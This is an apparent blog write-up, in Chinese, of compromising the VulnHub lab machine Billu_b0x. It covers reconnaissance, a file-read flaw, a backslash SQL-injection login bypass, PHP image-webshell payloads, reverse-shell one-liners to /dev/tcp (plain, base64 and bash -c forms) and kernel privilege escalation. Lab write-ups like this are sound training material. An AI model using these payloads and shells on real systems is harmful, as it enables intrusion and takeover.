VulnHub靶场之Billu_b0x

VulnHub靶场之Billu_b0x

简介

想不出骚话做简介。
忘了从哪看到一句说是,技术都是漏洞喂出来了。感慨岁月流逝的同时,还是抓紧打打靶机,提升提升能力吧。

靶机下载地址

[https://download.vulnhub.com/billu/Billu_b0x.zip]

虚拟机配置

下载的虚拟机是 ova 格式,当然装载到 virtualbox 上最好,也可以装载到vmware workstation上,本人电脑上是workstation,所以装载到workstation上。

错误截图

打开虚拟机的过程中,可能会出现 “未通过 OVF 规范一致性” 的版本问题,此时需要重新下载 ovftool 工具(忘了从哪下载了…但是网上可以查到,我安装的是4.3.0),覆盖安装到VMware Workstation的 OVFTool 目录下即可。
重新装载 ova 模板,可以还会出现此错误,点击“重试”即可,此时就可以成功装载了。

成功之后,更改虚拟机网络模式为 NAT ,启动虚拟机

错误截图
此时会出现虚拟设备的错误,不用管,点击“否”,等待虚拟机开启就好了,开启之后:

正常开启虚拟机
PS:靶机密码在/var/www/phpmy/config.inc.php中

信息收集

主机发现

nmap -sP 192.168.8.0/24

使用 nmap 发现存活主机,192.168.8.0是本人的 NAT 网段

主机发现

端口服务探测

namp -p- -sV 192.168.8.131

对发现的主机进行端口服务探测

开放端口及服务

目录扫描

访问HTTP服务,并对web站点进行目录扫描,查看是否有敏感目录及文件

web站点
使用 dirsearch 目录扫描工具进行扫描

扫描结果
依次访问得出结果:

add.php 是一个没有交互逻辑的界面
in.php 是phpinfo界面
/phpmy/ 是PHPmyadmin管理界面
test.php 通过构造参数发现,存在文件下载漏洞
c.php 空白界面,通过读取,可得到PHPmyadmin账号密码

漏洞发现及利用

文件读取

访问in.php,发现存在可以本地文件包含的前提条件
本地文件包含

访问test.php,发现需要构造函数

test.php
打开burp,使用GET请求方式构造参数,发现不成功

GET
修改为POST方式(注意添加Content-Type请求头),成功读取/etc/passwd

POST
读取c.php,发现数据库ica_lab登录密码 billu:b0x_billu

c.php
登陆PHPmyadmin,得到登陆界面的账号密码 biLLu:hEx_it
phpmy

既然有PHPmyadmin的管理界面,尝试读取config.inc.php,看能不能读取到数据库的 root 账号密码

config.inc.php
读取到 root:roottoor
尝试登陆PHPmyadmin失败,后发现是系统的账号密码

读取add.php,发现代码中没有交互逻辑
add.php

SQL注入

读取index.php,发现登陆处的SQL语句,str_replace()过滤了单引号,且先验证密码,后验证账号。

index
SQL语句(这块的单引号看了半天。。)

$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';
//分离连接符 “.” ,遵循引号闭合就近原则,去除单引号闭合,转义:
$run=select * from auth where  pass='$pass' and uname='$uname';

绕过:

//使用 \ ,转义 $pass 后的单引号,让 pass= 包含“and uname=”
//结果:
$run=select * from auth where pass='\' and uname=' or 1=1-- ';
//uname:or 1=1 --+
//pass:\

在读取index.php时,发现了登录后的panel.php,读取panel.php,发现存在POST类型的文件包含漏洞(POST类型没办法直接包含一句话木马连接)

panel.php

获取web权限

使用读取到的密码登陆phpmyadmin,使用billu账号写马,发现没有权限
写马

文件包含图片马写shell
PHPmyadmin写马失败,尝试使用文件包含图片马的形式,来获取权限。
直接包含可以写文件的图片马

在文件读取过程中,发现系统存在本地文件包含的前提条件,而后在 penal.php 代码中发现上传点,并且存在文件包含漏洞。

两种方式登录系统,一种使用PHPmyadmin读取到的账号密码,一种使用SQL注入绕过登录验证的方式。看你心情。

上传过程中,尝试使用00截断,上传失败(panel.php中有上传功能处的源代码)。
上传点
尝试文件包含。
上传一张具有写shell的图片马,使用panel.php中存在的文件包含,执行PHP代码:
写木马

上传,文件包含shell.php

访问shell.php,状态码显示200,成功写入200

连接shell
连接

另一种方式:通过命令执行写一句话
写一句话木马
上传一句话命令图片马,使用文件包含,命令执行,写入一句话木马。
由于连接一句话木马后,蚁剑的终端有些问题,最后还需要进行反弹shell。
使用system()函数命令执行,在这里我写了两种方式。
	1、system($_GET['cmd']);
	2、$a=$_GET['H'];
		eval("$a");
这两种方式利用思路都一样,只是在这里记录一下不同的payload。
第一种:system($_GET[‘cmd’]);

上传图片,文件包含,命令执行
使用hackbar

cmd=echo  '<?php eval($_POST[123])?>' >> uploaded_images/cmd.php

写shell

连接一句话
cmd

第二种:$_GET[‘H’]
在使用这种方式echo shell时,耽误了不少时间。
system("echo  '<?php eval($_POST[123])?>' >> uploaded_images/cmd.php");
尝试多次,发现 $_POST[123],写不进去,或者说 "$_"组合写不进去
	第一次猜测可能是 eval("$a") 的原因,但后来在windows上尝试,可以写入
	第二次猜测可能是 dash 的原因,更换成 bash,还是不行
	最后我也不知道到底是什么原因导致写不进去一句话木马。
	第三次猜测,应该还是跟系统和PHP代码有关,和eva()函数和Linux的shell有关。在其他Linux系统上实验,也是写不进去 $_ 。代码中使用 eval(system()) 这种方式,可直接写入,通过传参的形式不行。后续有时间去调试下代码。

尝试了很长时间的结果(不要在意红框,看写入文件的内容):
在这里插入图片描述
换种方式

最后没办法了,使用PHP函数进行写入
fputs

连接一句话

shell

反弹shell
命令执行,直接反弹shell,不进行写马操作
第一种 system($_GET[‘cmd’]);

直接命令执行,反弹shell
命令执行
但是就成了一次,不知道是玄学还是其他地方有问题。
或者可能是之前在进行反弹操作,因为一些原因导致反弹的过程有些慢,最后碰巧在hackbar中命令执行时,反弹成功。
反正在这个地方记录一下,等以后再来解决[doge]

直接执行应该是不行的,因为 & 符在URL中是参数之间的链接符,抓包发现,& 后边的没带入查询
问题
把 & 符,URL编码
执行

成功反弹
反弹shell

第二种 $_GET[‘H’]

跟第一种方式一样

echo "bash -i >& /dev/tcp/192.168.8.128/22222 0>&1" | bash

进行url编码,然后反弹
反弹shell

提权,获取主机权限

不知为何,这里使用蚁剑的终端提权失败,所以使用反弹出来的shell进行提权操作

内核提权
查看内核版本:uname -a
查看系统版本:cat /etc/issue

内核
系统Ubuntu、内核3.13.0-32
使用 kali 自带的 searchsploit搜索expsearchsploit
通过蚁剑把 37292.c 上传到靶机系统上,编译、赋权并执行(编译方式在脚本中有说明)
蚁剑终端中失败:
失败
使用反弹处来的shell执行,成功提升到root权限
在这里插入图片描述
或者使用冰蝎的虚拟终端
成功

总结:
关于反弹shell那块,为什么使用 echo 的形式,做一个说明。

从Ubuntu 6.10开始,默认使用shell是 dash 而不是 bash 。dash只有运行脚本的能力,而没有交互能力,所以需要指定bash,来进行命令执行。

echo "bash -i >& /dev/tcp/192.168.8.128/22222 0>&1" | bash
或者在进行一次base64编码,都可以
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjguMi8yMjIyMiAwPiYx" | base64 -d | bash
老师傅教我一句:bash -c 牛皮
bash -c "bash -i >& /dev/tcp/192.168.8.128/22222 0>&1"
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值